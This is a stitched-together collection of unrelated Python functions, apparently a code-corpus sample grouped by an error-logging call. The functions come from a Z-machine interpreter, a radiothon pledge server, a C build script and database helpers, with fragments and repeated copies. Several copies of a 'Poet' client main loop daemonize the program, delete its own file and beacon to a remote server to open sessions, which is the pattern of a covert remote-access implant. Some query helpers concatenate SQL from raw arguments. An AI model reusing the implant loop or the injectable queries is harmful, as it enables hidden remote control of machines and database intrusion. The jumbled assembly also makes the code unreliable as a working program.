def get_prop(env, opinfo): obj = opinfo.operands[0] prop_num = opinfo.operands[1] prop_addr = compat_get_prop_addr(env, obj, prop_num) got_default_prop = prop_addr == 0 if got_default_prop: result = get_default_prop(env, prop_num) else: size, num = get_sizenum_from_addr(env, prop_addr) if size == 1: result = env.u8(prop_addr) elif size == 2 or FORGIVING_GET_PROP: result = env.u16(prop_addr) else: msg = 'illegal op: get_prop on outsized prop (not 1-2 bytes)' msg += ' - prop ' + str(prop_num) msg += ' of obj ' + str(obj) + ' (' + get_obj_str(env, obj) + ')' msg += ' (sized at ' + str(size) + ' bytes)' print_prop_list(env, obj) err(msg) set_var(env, opinfo.store_var, result) if DBG: warn(' obj', obj, '(', get_obj_str(env, obj), ')') warn(' prop_num', prop_num) warn(' result', result) warn(' got_default_prop', got_default_prop) print_prop_list(env, obj)
def put_prop(env, opinfo): obj = opinfo.operands[0] prop_num = opinfo.operands[1] val = opinfo.operands[2] prop_addr = compat_get_prop_addr(env, obj, prop_num) if prop_addr == 0: msg = 'illegal op: put_prop on nonexistant property' msg += ' - prop ' + str(prop_num) msg += ' not found on obj ' + str(obj) + ' (' + get_obj_str(env, obj) + ')' err(msg) size, num = get_sizenum_from_addr(env, prop_addr) if size == 2: env.write16(prop_addr, val) elif size == 1: env.write8(prop_addr, val & 0xff) else: msg = 'illegal op: put_prop on outsized prop (not 1-2 bytes)' msg += ' - prop ' + str(prop_num) msg += ' of obj ' + str(obj) + ' (' + get_obj_str(obj) + ')' msg += ' (sized at ' + size + ' bytes)' err(msg) if DBG: warn(' obj', obj, '(', get_obj_str(env, obj), ')') warn(' prop_num', prop_num) warn(' val', val) print_prop_list(env, obj)
def fill_text_buffer(env, user_input, text_buffer): text_buf_len = env.u8(text_buffer) if text_buf_len < 2: err('read error: malformed text buffer') text_buf_ptr = text_buffer + 1 if env.hdr.version >= 5: # input may already exist, may have to append to it if env.u8(text_buf_ptr): text_buf_ptr += env.u8(text_buf_ptr) + 1 else: text_buf_ptr += 1 i = 0 max_len = text_buf_len - (text_buf_ptr - text_buffer) while i < min(len(user_input), max_len): env.write8(text_buf_ptr + i, user_input[i]) i += 1 if env.hdr.version >= 5: env.write8(text_buffer + 1, (text_buf_ptr + i) - text_buffer - 2) else: # the below is why I can't use a python for loop # (it wouldn't set i properly on 0-char input) env.write8(text_buf_ptr + i, 0)
def handle_corrupt_key(dict={}, key_name="", types_allowed=None): ''' Throws error and quits if a key with name set to value of 'key_name' does not exist or if the value associated with the key is not set to type 'types_allowed' Used primarily to test for corrupted server_config.json. :param dict: ServerConfigDict :param key_name: Str :param types_allowed: Type[] :return: None ''' # Attempt to get value from key try: # Throw error and exit if value associated with key is not of any types specified in 'types_allowed' if type(dict[key_name]) not in types_allowed: # Print error message "Failed to read server_config.json. The '<key_name>' key must be set to one of the following data types: ['typename',...]" dbg.err( "Failed to read server_config.json. The '" + key_name + "' key needs must be set to one of the following data types: " + str([i.__name__ for i in types_allowed])) # Prompt for input then exit input("Cannot continue. Press any key to exit..") os._exit(-1) # Throw error and exit if key cannot be found except KeyError: dbg.err("Failed to read server_config.json. '" + key_name + "' key does not exist in server_config.json.") input("Cannot continue. Press any key to exit..") os._exit(-1)
def link(vars, link_objs, debug): args = vars.get('link', None) if not args: # Nothing to link return True if (len(args) % 2) != 0: err("link directive must have even number of " "arguments: pairs of ldscript and output filename.") return False ld = os.environ.get('LD', '') if ld: linker = ld else: cross_compile = os.environ.get('CROSS_COMPILE', '') linker = '%sld' % cross_compile linker_fp = find_elf(linker) if not linker_fp: print("Linker not found: %s" % linker) return False for ldscript, elf in zip(args[0::2], args[1::2]): os.makedirs(os.path.dirname(elf), exist_ok=True) cmd = [linker, "-T", ldscript] + link_objs + ["-o", elf] pcmd = " LD %s" % elf if run(pcmd, debug, linker_fp, cmd) != 0: return False return True
def http_homepage(): ''' Sends html from ‘./Website/index.html' when client connects ''' # Attempt to send homepage to client dbg.log("Attempting to send './Website/index.html' to clients") # Test if ./Website/index.html exists. try: open('./Website/index.html', 'r') # Throw error and exit if ./Website/index.html does not exist except FileNotFoundError: dbg.err( "Failed to send homepage to client because './Website/index.html' does not exist." ) input( "Server cannot run without homepage... Press any key to exit.") os._exit(-1) # Send html from ./Website/index.html to client html = send_from_directory('./Website/', 'index.html') dbg.success( "'./Website/index.html' successfully retrieved. Sending to clients..." ) return html
def main(): if len(sys.argv) != 2: prog_name = sys.argv[0] if sys.argv[0].endswith('__main__.py'): prog_name = '-m xyppy' print('usage examples:') print(' python ' + prog_name + ' STORY_FILE.z5') print(' python ' + prog_name + ' http://example.com/STORY_FILE.z5') sys.exit() url = sys.argv[1] if any(map(url.startswith, ['http://', 'https://', 'ftp://'])): f = urllib2.urlopen(url) mem = f.read() f.close() else: with open(url, 'rb') as f: mem = f.read() if blorb.is_blorb(mem): mem = blorb.get_code(mem) env = Env(mem) if env.hdr.version not in [3, 4, 5, 7, 8]: err('unsupported z-machine version: ' + str(env.hdr.version)) term.init(env) env.screen.first_draw() ops.setup_opcodes(env) try: while True: step(env) except KeyboardInterrupt: pass
def set_window(env, opinfo): env.screen.finish_wrapping() env.current_window = opinfo.operands[0] if env.current_window == 1: env.cursor[1] = (0, 0) if env.current_window not in [0, 1]: err('set_window: requested unknown window:', env.current_window)
def query(self,query,limit=1000): tab = self.db.cursor() try: tab.execute(query) except: debug.err(query) exit() res = [[self.adjust(item) for item in row] for row in tab.fetchmany(limit)] kis = [str(i[0]) for i in tab.description] return (kis,res)
def read_char(env, opinfo): # NOTE: operands[0] must be 1, but I ran into a z5 that passed no operands # (strictz) so let's just ignore the first operand instead... if len(opinfo.operands) > 1: if len(opinfo.operands) != 3: err('read_char: num operands must be 1 or 3') if opinfo.operands[1] != 0 or opinfo.operands[2] != 0: if DBG: warn('read_char: interrupts not impl\'d yet!') c = ascii_to_zscii(env.screen.getch())[0] set_var(env, opinfo.store_var, c)
def update_radiothonInfo(): ''' This method updates the global ‘radiothonInfo’ variable by getting the latest data from GSheets document and parsing it and the config into a ‘RadiothonInfo’ data structure. This method uses the ‘gsparser.py’ module to process all the data. :return: None ''' # Bring global variables into local scope global radiothonInfo global database global config # Attempt to refresh GAPI credentials. Needed otherwise Google will reject requests after certain period of time. dbg.log("Attempting to refresh GAPI credentials") database.gs.login() dbg.success("Successfully refreshed GAPI credentials") # Update config update_config_status() # Log radiothonInfo update attempt dbg.log("Attempting to update server status (poller.radiothonInfo)") # Get all rows from Google sheets document dbg.log("Attempting to get all the data from GSheets document.") rows = database.get_all_vals() dbg.success("Successfully got all data from GSheets document.") # Throw error and exit if there is no data in GSheets document at all if len(rows) == 0: dbg.err("Failed to update server status because there is no data or header in Google Sheets document") input("Cannot continue. Press any key to exit.") os._exit(-1) # Get header from GSheets doc to compare pledges against. header = rows[0] # PledgeDict accumulator. Will contain a list of 'Pledge' data structures pledges = [] # Get all rows with content excluding header (which is why i starts at 1) # from GSheets doc and turn them into PledgeDict's for i in range(1, len(rows)): pledges.append(gsparser.to_Pledge(rows[i], header)) # Update radiothonInfo to latest state radiothonInfo = gsparser.to_RadiothonInfo(pledges, config) # Log that radiothonInfo was successfully updated dbg.success("Server status update successful (poller.radiothonInfo updated)")
def set_colour(env, opinfo): fg_col = opinfo.operands[0] bg_col = opinfo.operands[1] if fg_col > 9 or bg_col > 9 or fg_col < 0 or bg_col < 0: err('set_color attempted illegal color') if fg_col == 1: fg_col = env.hdr.default_fg_color if fg_col != 0: env.fg_color = fg_col if bg_col == 1: bg_col = env.hdr.default_bg_color if bg_col != 0: env.bg_color = bg_col
def pull(env, opinfo): var = opinfo.operands[0] frame = env.callstack[-1] if len(frame.stack) == 0: err('illegal op: attempted to pull from empty stack') result = frame.stack.pop() set_var(env, var, result, push_stack=False) if DBG: warn(' result', result) warn(' dest', get_var_name(var))
def main(): global args args = get_args() if CFG.SERVER_IP is not None: args.server = CFG.SERVER_IP if CFG.BEACON_INTERVAL is not None: args.interval = CFG.BEACON_INTERVAL # dynamically load all modules. needs to be before daemonize because it # needs to be able to open itself to find modindex.txt in package.c # daemonize changes the cwd so the open won't work. module.load_modules() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.server PORT = int(args.port) if args.port else 443 debug.info( ('Poet started with interval of {} seconds to port {}. Ctrl-c to exit' ).format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except Exception as e: debug.warn('Fatal error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)
def query(self,table,limit=100,where=None,order=None,desc=False): query = "SELECT * FROM "+table if where: query+= " WHERE "+where if order: query+= " ORDER BY "+order if desc: query+= " DESC" tab = self.db.cursor() try: tab.execute(query) except: debug.err(query) exit() res = [[self.adjust(item) for item in row] for row in tab.fetchmany(limit)] kis = [str(i[0]) for i in tab.description] return (kis,res)
def main(): global args args = get_args() if CFG.SERVER_IP is not None: args.server = CFG.SERVER_IP if CFG.BEACON_INTERVAL is not None: args.interval = CFG.BEACON_INTERVAL # dynamically load all modules. needs to be before daemonize because it # needs to be able to open itself to find modindex.txt in package.c # daemonize changes the cwd so the open won't work. module.load_modules() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info("Deleting client") try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.server PORT = int(args.port) if args.port else 443 debug.info(("Poet started with interval of {} seconds to port {}. Ctrl-c to exit").format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info("Server is active") PoetClient(HOST, PORT).start() else: debug.warn("Server is inactive") time.sleep(args.interval) except KeyboardInterrupt: print debug.err("Poet terminated") except Exception as e: debug.warn("Fatal error: {}".format(e.message)) debug.err("Poet terminated") sys.exit(0)
def query(self, table, limit=100, where=None, order=None, desc=False): query = "SELECT * FROM " + table if where: query += " WHERE " + where if order: query += " ORDER BY " + order if desc: query += " DESC" tab = self.db.cursor() try: tab.execute(query) except: debug.err(query) exit() res = [[self.adjust(item) for item in row] for row in tab.fetchmany(limit)] kis = [str(i[0]) for i in tab.description] return (kis, res)
def handle_read(env, text_buffer, parse_buffer, time=0, routine=0): if time != 0 or routine != 0: if DBG: err('interrupts requested but not impl\'d yet!') user_input = ascii_to_zscii(env.screen.get_line_of_input().lower()) fill_text_buffer(env, user_input, text_buffer) if env.hdr.version < 5 or parse_buffer != 0: handle_parse(env, text_buffer, parse_buffer) # return ord('\r') as term char for now... # TODO: the right thing return ord('\r')
def get_var(env, var_num, pop_stack=True): if var_num == 0: frame = env.callstack[-1] if pop_stack: return frame.stack.pop() else: return frame.stack[-1] elif var_num < 16: frame = env.callstack[-1] return frame.locals[var_num - 1] elif var_num < 256: g_idx = var_num - 16 g_base = env.hdr.global_var_base return env.u16(g_base + 2 * g_idx) else: err('illegal var num: ' + str(var_num))
def compat_get_next_prop(env, obj, prop_num): if prop_num == 0: prop_start = get_prop_list_start(env, obj) next_prop_num = get_prop_num(env, prop_start) else: prop_data_addr = compat_get_prop_addr(env, obj, prop_num) if prop_data_addr == 0: msg = 'get_next_prop: passed nonexistant prop ' msg += str(prop_num) + ' for obj ' + str(obj) + ' (' + get_obj_str( env, obj) + ')' print_prop_list(env, obj) err(msg) sizenum_ptr = get_sizenum_ptr(env, prop_data_addr) size = get_prop_size(env, sizenum_ptr) next_prop_num = get_prop_num(env, prop_data_addr + size) return next_prop_num
def handle_return(env, return_val): frame = env.callstack.pop() if len(env.callstack) == 0: err('returned from unreturnable/nonexistant function!') if frame.return_val_loc != None: set_var(env, frame.return_val_loc, return_val) env.pc = frame.return_addr if DBG: warn(' helper: handle_return') warn(' return_val', return_val) if frame.return_val_loc: warn(' return_val_loc', get_var_name(frame.return_val_loc)) else: warn(' return_val_loc None') warn(' return_addr', hex(frame.return_addr))
def get_prop_size(env, prop_ptr): if env.hdr.version < 4: return (env.u8(prop_ptr) >> 5) + 1 else: first_byte = env.u8(prop_ptr) if first_byte & 128: size_byte = env.u8(prop_ptr + 1) if not (size_byte & 128): msg = 'malformed prop size byte: ' + bin(size_byte) msg += ' - first_byte:' + bin(first_byte) msg += ' - prop_ptr:' + hex(prop_ptr) err(msg) return (size_byte & 63) or 64 # zero len == 64 if first_byte & 64: return 2 return 1
def split_window(env, opinfo): env.screen.finish_wrapping() old_height = env.top_window_height # an unfortunate hack, but makes Inform games look better, # as they intentionally don't fill up the entire status bar (so # this is me trying to keep the Trinity trick and those bars both # looking good). only doing it on 0 to 1-bar transitions, # because those sound like status bars being made, right? if opinfo.operands[0] == 1 and env.top_window_height == 0: env.screen.scroll_top_line_only() env.top_window_height = opinfo.operands[0] if env.top_window_height > env.hdr.screen_height_units: err('split_window: requested split bigger than screen:', env.top_window_height)
def set_var(env, var_num, result, push_stack=True): result &= 0xffff if var_num == 0: frame = env.callstack[-1] if push_stack: frame.stack.append(result) else: frame.stack[-1] = result elif var_num < 16: frame = env.callstack[-1] frame.locals[var_num - 1] = result elif var_num < 256: g_idx = var_num - 16 g_base = env.hdr.global_var_base env.write16(g_base + 2 * g_idx, result) else: err('set_var: illegal var_num: ' + str(var_num))
def parse_call_header(env, call_addr): num_locals = env.u8(call_addr) if num_locals > 15: err('calling a non-function (more than 15 local vars)') if env.hdr.version < 5: locals_ptr = call_addr + 1 locals = [] for i in xrange(num_locals): locals.append(env.u16(locals_ptr)) locals_ptr += 2 code_ptr = locals_ptr else: locals = [0] * num_locals code_ptr = call_addr + 1 return locals, code_ptr
def machine(vars, objdir): machine = vars.get('machine') if not machine: err("machine directive is not set") return False m = os.path.abspath(machine) if not os.path.exists(m): err("machine headers not found at path: %s" % m) return False dst = os.path.join(objdir, 'machine') #if os.path.lexists(dst): # os.unlink(dst) if not os.path.lexists(dst): os.symlink(m, dst) return True
def main(): global args args = get_args() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.host PORT = int(args.port) if args.port else 443 debug.info( ('Poet started with interval of {} seconds to port {}. Ctrl-c to exit' ).format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except socket.error as e: debug.warn('Socket error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)
def lex(row=[], head=[]): ''' Associates row and header with appropiate 'Donor' data structure keys :param row: :param head: :return: DonorDict ''' # Associate GSheet values with their respective 'Pledge' data type keys pledge = {} pledge["firstName"] = find("First name", row, head) pledge["city"] = find("City", row, head) pledge["amtDonated"] = find("Amount donated", row, head) pledge["pledgeType"] = find("Website or Caller", row, head) pledge["paidByCredit"] = find("Paid by credit card?", row, head) pledge["isPaid"] = find("Is paid", row, head) # Throw errors for every column data type that could not be found if "First name" not in head: dbg.err( "ALL first names of donors will NOT be displayed because the 'First name' column header does not exist." ) if "City" not in head: dbg.err( "ALL donor's cities will NOT be displayed because the 'City' column header does not exist." ) if "Amount donated" not in head: dbg.err( "ALL donation amounts will NOT be displayed because the 'Amount donated' column header does not exist." ) if "Website or Caller" not in head: dbg.err( "ALL pledge types (Website or Caller) will be deemed 'Website' payments because the 'Website or Caller' column header does not exist." ) if "Paid by credit card?" not in head: dbg.err( "ALL credit card payments will NOT be displayed because the 'Paid by credit card?' column header does not exist." ) return pledge
def main(): global args args = get_args() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.host PORT = int(args.port) if args.port else 443 debug.info(('Poet started with interval of {} seconds to port {}. Ctrl-c to exit').format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except socket.error as e: debug.warn('Socket error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)
def output_stream(env, opinfo): stream = to_signed_word(opinfo.operands[0]) if stream < 0: stream = abs(stream) if stream == 3: table_addr = env.memory_ostream_stack.pop() zscii_buffer = ascii_to_zscii(env.output_buffer[stream]) buflen = len(zscii_buffer) env.write16(table_addr, buflen) for i in xrange(len(zscii_buffer)): env.write8(table_addr + 2 + i, zscii_buffer[i]) env.output_buffer[stream] = '' if len(env.memory_ostream_stack) == 0: env.selected_ostreams.discard(stream) else: env.selected_ostreams.discard(stream) elif stream > 0: env.selected_ostreams.add(stream) if stream == 3: table_addr = opinfo.operands[1] if len(env.memory_ostream_stack) == 16: err('too many memory-based ostreams (>16)') env.memory_ostream_stack.append(table_addr)
def set_doc(self, doc_ID='', wsheet_ID=0): ''' Link with Google Sheets document ID 'doc_ID' and worksheet ID 'wsheet_ID' :param doc_ID: Str :param wsheet_ID: ID :return: None ''' try: # Attempt to link 'sheet' against GSheets document with ID 'doc_ID' and worksheet ID 'wsheet_ID' dbg.log("Attempting to link with Google Sheets document...") self.sheet = self.gs.open_by_key(doc_ID).get_worksheet(wsheet_ID) # Print success message if able to succesfully link with GSheets document dbg.success("Successfully linked with Google Sheets document") except gs_exceptions.APIError as e: # Throw error and exit if read permissions were not set if e.response.json()['error']['code'] == 403: dbg.err( "Didn't have permissions to read Google Sheets document. " + "Please make document public or create a shareable link to it." ) input("Press any key to exit...") os._exit(-1) # Throw error and exit if document does not exist elif e.response.json()['error']['code'] == 404: dbg.err( "Tried to read Google Sheets document, but the document does not exist." ) input("Press any key to exit...") os._exit(-1) # Throw error and exit if any other bad response is received else: dbg.err( "Tried to read Google Sheets document, but got the following error response instead:" ) dbg.err(e.response.text) input("Press any key to exit...") os._exit(-1)
def exception(exception=None): if exception: debug.err(str(exception)) traceback.print_exc()
p.Dispose() currentProcess.Dispose() # ============================================================================ # 3.n Self test # ---------------------------------------------------------------------------- if __name__ == '__main__': debug.init(sys.stdout) sys.stdout = debug.out sys.stderr = debug.err debug.brf('brief') debug.out('normal') debug.vrb('verbose') debug.err('error') sys.stderr.write('Error message\n') try: 1/0 except Exception, e: debug.exception(e) def addGuiAppender(remotePort = 31337): """ Create and add UDP appender for GUI """ appender = Appender.UdpAppender() appender.Name = 'GuiUdpAppender' debugFilter = Filter.LevelMatchFilter() debugFilter.LevelToMatch = Core.Level.Debug debugFilter.AcceptOnMatch = True
def die(msg=None): if msg: debug.err(msg) debug.err('Poet server terminated') sys.exit(0)
def main(): ''' Entry point for host.py module :return: void ''' # Bring global variables into local scope global http global socket # These constant variables specify port and address for server to run on # '0.0.0.0' tells OS to make server visible to other computers on network ADDRESS = '0.0.0.0' PORT = 80 # Thread that the server runs on (daemon thread) server_thread = threading.Thread(target=socket.run, args=[http, ADDRESS, PORT]) server_thread.setDaemon(True) # Sends html from ‘./Website/index.html’ @http.route('/') def http_homepage(): ''' Sends html from ‘./Website/index.html' when client connects ''' # Attempt to send homepage to client dbg.log("Attempting to send './Website/index.html' to clients") # Test if ./Website/index.html exists. try: open('./Website/index.html', 'r') # Throw error and exit if ./Website/index.html does not exist except FileNotFoundError: dbg.err( "Failed to send homepage to client because './Website/index.html' does not exist." ) input( "Server cannot run without homepage... Press any key to exit.") os._exit(-1) # Send html from ./Website/index.html to client html = send_from_directory('./Website/', 'index.html') dbg.success( "'./Website/index.html' successfully retrieved. Sending to clients..." ) return html # Sends html from ‘./Website/{path}’ @http.route('/<path:path>') def http_other(path): ''' Sends html from ‘./Website/{path} when client connects ''' # Attempt to send homepage to client dbg.log("Attempting to send './Website/" + path + "' to clients") # Test if ./Website/<path> exists. Throw warning if it doesn't. # Wont exit because something like 'favicon.ico' might not be integral to the application try: open('./Website/' + path, 'r') except FileNotFoundError: dbg.warn("Failed to send file './Website/" + path + "' to clients . File does not exist.") # Send html to client html = send_from_directory('./Website/', path) dbg.success("'./Website/" + path + "' successfully retrieved. Sending to client...") return html # Emit pageData event when clients connect @socket.on('connect') def socket_connect(): ''' Emit a ‘pageData’ event and send poller.radiothonInfo to clients when a client connects through SocketIO ''' emit_pageData() # Attempt to start server on port 80 try: # Start server dbg.log("Attempting to start SocketIO/HTTP server on address '" + ADDRESS + ":" + str(PORT) + "'...") server_thread.start() # Log success dbg.success("Successfully started server") # If server fails to start, throw error except Exception as e: dbg.err("Failed to start SocketIO/HTTP server on address '" + ADDRESS + ":" + str(PORT) + "'. Flask threw the following error: \n" + str(e)) print("Cannot continue. Press any key to exit.") os._exit(-1) # Periodically send 'pageData' event to client at interval specified in config while True: # Send pageData event and 'radiothonInfo' data structure to client emit_pageData() # If poller.config has been set if poller.config != {}: # Sleep for however long was specified in config sleep(poller.config['gsheets']['poll_interval'] * 60) # Else sleep for a second and try to emit pageData event again else: sleep(1)
def compile(r, link_objs, debug, parallel): cc = os.environ.get('CC', '') if cc: compiler = cc else: cross_compile = os.environ.get('CROSS_COMPILE', '') compiler = '%sgcc' % cross_compile compiler_fp = find_elf(compiler) if not compiler_fp: print("compiler not found in PATH: %s" % compiler) return False env_cflags = os.environ.get('CFLAGS', '').split() env_aflags = os.environ.get('AFLAGS', '').split() defs = [] flags = r['flags'] for key in flags: t = '-D%s' % key.upper() if flags[key]: t += '=%s' % flags[key].upper() defs.append(t) archive_objs = [] cpu_count = 1 if (parallel): cpu_count = multiprocessing.cpu_count() pool = multiprocessing.Pool(processes=cpu_count) res = [] vars = r['vars'] resobj = r['resobj'] for obj in resobj: obj_cflags = list(env_cflags) obj_cflags += resobj[obj].get('build-flags', []) obj_cflags += resobj[obj].get('cflags', []) obj_aflags = list(env_aflags) obj_aflags += resobj[obj].get('build-flags', []) obj_aflags += resobj[obj].get('aflags', []) objdir = resobj[obj].get('objdir', [DEFAULT_OBJDIR])[0] if not machine(vars, objdir): return False searchp = ['-I%s' % objdir] if 'search-path' in resobj[obj]: for p in resobj[obj]['search-path']: searchp.append('-I%s' % p) if obj.endswith('.a'): pcmd = " AA %s" % obj print(pcmd) archive_objs.append(obj) continue o = None d = {'c': obj_cflags, 'S': obj_aflags} for x in d: p = "%s.%s" % (obj[:-2], x) if os.path.exists(p): o = p fl = d[x] break if not o: err("Source code (or archive file) not found" " for the object: %s" % obj) return False ob = os.path.abspath(obj) objfile = "%s/%s" % (objdir, ob) link_objs.append(objfile) os.makedirs(os.path.dirname(objfile), exist_ok=True) cmd = [compiler] + defs + fl + searchp cmd += [o, '-c', '-o', objfile] pcmd = " CC %s" % o if debug: print(" ".join(cmd)) v = pool.apply_async(run, (pcmd, debug, compiler_fp, cmd)) res.append(v) # Wait completion for x in res: rc = x.get() if (rc != 0): return False # Add all the archives to the tail link_objs += archive_objs return True